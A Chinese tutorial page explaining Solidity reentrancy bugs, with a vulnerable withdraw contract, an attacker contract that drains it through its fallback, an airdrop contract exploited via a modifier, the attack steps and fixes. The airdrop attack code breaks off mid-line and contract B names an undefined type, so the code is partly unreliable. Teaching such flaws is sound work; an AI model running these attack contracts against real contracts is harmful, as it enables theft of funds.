小工具知识网

当前位置: 首页 > 行业知识 > solidity 重入漏洞

行业知识

solidity 重入漏洞

2026-11-15 04:28:00 来源:互联网转载

���录

1. 重入漏洞的原理

2.  重入漏洞的场景

2.1 msg.sender.call 转账

2.2 修饰器中调用地址可控的函数


1. 重入漏洞的原理

重入漏洞产生的条件:

  • 合约之间可以进行相互间的外部调用

     恶意合约 B 调用了合约 A 中的 public funcA 函数,在函数 funcA 的代码中,又调用了别的合约的函数 funcB,并且该合约地址可控。当恶意合约 B 实现了 funcB,并且 funcB 的代码中又调用了合约 A 的 funcA,就会导致一个循环调用,即 step 2 => step 3 => step 2 => step 3 => ....... 直到 合约 gas 耗尽或其他强制结束事件发生。

    2.  重入漏洞的场景

    2.1 msg.sender.call 转账

    msg.sender.call 转账场景下重入漏洞产生的条件:

    • 合约之间可以进行相互间的外部调用
    • 使用 call 函数发送 ether,且不设置 gas
    • 记录款项数目的状态变量,值变化发生在转账之后

      恶意合约 B 调用了合约 A 的退款函数;合约 A 的退款函数通过 call 函数给合约 B 进行转账,且没有设置 gas,合约 B 的 fallback 函数自动执行,被用来接收转账;合约 B 的 fallback 函数中又调用了合约 A

      合约 A

      // SPDX-License-Identifier: MITpragma solidity ^0.8.3;contract A {    mapping(address => uint) public balances;    function deposit() public payable {        balances[msg.sender] += msg.value;    }    function withdraw() public {        uint bal = balances[msg.sender];        require(bal > 0);        // 调用 call 函数将款项转到 msg.sender 的账户        (bool sent, ) = msg.sender.call{value: bal}("");        require(sent, "Failed to send Ether");        // 账户余额清零        balances[msg.sender] = 0;    }    // Helper function to check the balance of this contract    function getBalance() public view returns (uint) {        return address(this).balance;    }}

      恶意合约 B:

      // SPDX-License-Identifier: MITpragma solidity ^0.8.3;contract B {    A public etherStore;    constructor(address _etherStoreAddress) {        etherStore = EtherStore(_etherStoreAddress);    }    // Fallback is called when A sends Ether to this contract.    fallback() external payable {        if (address(etherStore).balance >= 1 ether) {            etherStore.withdraw();        }    }    function attack() external payable {        require(msg.value >= 1 ether);        etherStore.deposit{value: 1 ether}();        etherStore.withdraw();    }    // Helper function to check the balance of this contract    function getBalance() public view returns (uint) {        return address(this).balance;    }}

      2.2 修饰器中调用地址可控的函数

      代码地址:https://github.com/serial-coder/solidity-security-by-example/tree/main/03_reentrancy_via_modifier

       漏洞合约代码:

      pragma solidity 0.8.13;import "./Dependencies.sol";contract InsecureAirdrop {    mapping (address => uint256) private userBalances;    mapping (address => bool) private receivedAirdrops;    uint256 public immutable airdropAmount;    constructor(uint256 _airdropAmount) {        airdropAmount = _airdropAmount;    }    function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop {        // Mint Airdrop        userBalances[msg.sender] += airdropAmount;        receivedAirdrops[msg.sender] = true;    }    modifier neverReceiveAirdrop {        require(!receivedAirdrops[msg.sender], "You already received an Airdrop");        _;    }    // In this example, the _isContract() function is used for checking     // an airdrop compatibility only, not checking for any security aspects    function _isContract(address _account) internal view returns (bool) {        // It is unsafe to assume that an address for which this function returns         // false is an externally-owned account (EOA) and not a contract        uint256 size;        assembly {            // There is a contract size check bypass issue            // But, it is not the scope of this example though            size := extcodesize(_account)        }        return size > 0;    }    modifier canReceiveAirdrop() {        // If the caller is a smart contract, check if it can receive an airdrop        if (_isContract(msg.sender)) {            // In this example, the _isContract() function is used for checking             // an airdrop compatibility only, not checking for any security aspects            require(                IAirdropReceiver(msg.sender).canReceiveAirdrop(),                 "Receiver cannot receive an airdrop"            );        }        _;    }    function getUserBalance(address _user) external view returns (uint256) {        return userBalances[_user];    }    function hasReceivedAirdrop(address _user) external view returns (bool) {        return receivedAirdrops[_user];    }}

      攻击合约代码:

      pragma solidity 0.8.13;import "./Dependencies.sol";interface IAirdrop {    function receiveAirdrop() external;    function getUserBalance(address _user) external view returns (uint256);}contract Attack is IAirdropReceiver {    IAirdrop public immutable airdrop;    uint256 public xTimes;    uint256 public xCount;    constructor(IAirdrop _airdrop) {        airdrop = _airdrop;    }    function canReceiveAirdrop() external override returns (bool) {        if (xCount  

      漏洞合约为一个空投合约,限制每个账户只能领一次空投。

      攻击过程:

      1. 部署攻击合约 Attacker 后,执行函数 attack,attack 函数调用漏洞合约的 receiveAirdrop 函数接收空投;
      2. 漏洞合约的 receiveAirdrop 函数执行修饰器 neverReceiveAirdrop 和 canReceiveAirdrop 中的代码,而 canReceiveAirdrop 中调用了地址可控的函数 canReceiveAirdrop(),此时 msg.sender 为攻击合约地址;
      3. 攻击合约自己实现了 canReceiveAirdrop() 函数,并且函数代码中再次调用了 receiveAirdrop 函数接收空投

      于是就导致了 漏洞合约 canReceiveAirdrop 修饰器 和 攻击合约canReceiveAirdrop() 函数之间循环的调用。

      修复重入漏洞

      1.避免使用call方法转账

      2.确保所有状态变量的逻辑都发生在转账之前

      3.引入互斥锁

上一篇:淘宝指数深度解析,洞悉市场趋势,轻松掌握商机!

下一篇:奶牛软件下载攻略,轻松上手,一键掌握下载步骤!